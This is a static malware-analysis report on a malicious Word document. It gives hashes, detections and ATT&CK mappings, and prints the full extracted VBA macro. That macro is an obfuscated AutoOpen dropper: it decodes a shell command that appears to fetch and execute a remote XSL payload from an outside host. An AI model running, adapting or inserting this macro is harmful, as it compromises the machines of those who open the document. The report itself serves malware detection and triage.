Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a8c10558e98792d…

MALICIOUS

Office (OLE)

40.0 KB Created: 2018-06-28 17:27:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: bf8f4100b54766ad4dcb3baf41338186 SHA-1: 35b811e09356953d19e77f74dc0f4ce101684bab SHA-256: 4a8c10558e98792d3ec91e724de69d43618a26644691f45bb3c9c58ecea17de0
492 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro. The AutoOpen macro utilizes CreateObject to execute a payload, and heuristics indicate the use of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread APIs, suggesting the macro downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6595142-0' further supports its dropper functionality.

Heuristics 14

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Agent-6595142-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6595142-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            NRmlJVYLHM = "[wgvmtx2Wlipp"
        Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM))
        JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            NRmlJVYLHM = "[wgvmtx2Wlipp"
        Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM))
        JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        Dim NRmlJVYLHM As String
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2216 bytes
SHA-256: edfba4813fdc62e475b65c7274381b6eccd400b9193f4454efc5456021e196c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
23 of 44 identifiers look randomly generated (e.g. 'bqmbg$ghvbsbq$pbmwbx$fvbmij$3jsbvqbex') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        Dim NRmlJVYLHM As String
        Dim kknpP As Object
        Dim sehezEwuLBCLJrZVjWF As Integer
        Dim JjEgIoZKSSXqysq As String

        sehezEwuLBCLJrZVjWF = 380
        NRmlJVYLHM = "[wgvmtx2Wlipp"
        Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM))
        JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY")
        JjEgIoZKSSXqysq = lLZRiLXZuvlz(kknpP, JjEgIoZKSSXqysq, sehezEwuLBCLJrZVjWF)
End Sub

Function DPwHJtdnhEbsZgaUNuXhZ(roLxUoRMLMcXZgowHxOJMS As String) As String
        Dim geVSMoMsXHI As String
        Dim bkKyyLt As String
        Dim UIVpzrWtQsLE As String
        UIVpzrWtQsLE = "gqh$3g${bqmbg$ghvbsbq$pbmwbx$fvbmij$3jsbvqbex>&lxxtw>33xverweqivmge2wmqtpiythexi2rix3iqivkirg}1texgliw3jmpiw3wx}piwliix2|wp&"

        geVSMoMsXHI = UIVpzrWtQsLE
        geVSMoMsXHI = ovBAfrCWygU(geVSMoMsXHI)
        DPwHJtdnhEbsZgaUNuXhZ = geVSMoMsXHI
End Function

Function lLZRiLXZuvlz(IXVyUjuvvSKmZzIMwCAQeF As Object, SXFkLtEDOtDnUaG As String, KehwZguRxqFlghfdMI As Integer) As String
        Dim MzCeqLplZM As String
        Dim TVMYSxfycgp As Integer
        TVMYSxfycgp = 0
        MzCeqLplZM = SXFkLtEDOtDnUaG
    If (KehwZguRxqFlghfdMI > TVMYSxfycgp) Then
                TVMYSxfycgp = KehwZguRxqFlghfdMI - KehwZguRxqFlghfdMI
                IXVyUjuvvSKmZzIMwCAQeF.Run MzCeqLplZM, TVMYSxfycgp, True
        End If
        MzCeqLplZM = "pqkyHTziLaqR"
        lLZRiLXZuvlz = MzCeqLplZM
End Function


Function ovBAfrCWygU(iEjONtJn As String) As String
        Dim MhcVMRaxr As Long
        Dim GHRSRSdrUueRLjiwc As String
        Dim ypGvY As Integer
        ypGvY = 4
        For MhcVMRaxr = 1 To Len(iEjONtJn)
                GHRSRSdrUueRLjiwc = GHRSRSdrUueRLjiwc & Chr(Asc(Mid(iEjONtJn, MhcVMRaxr, 1)) - ypGvY)
        Next MhcVMRaxr
        ovBAfrCWygU = GHRSRSdrUueRLjiwc
End Function

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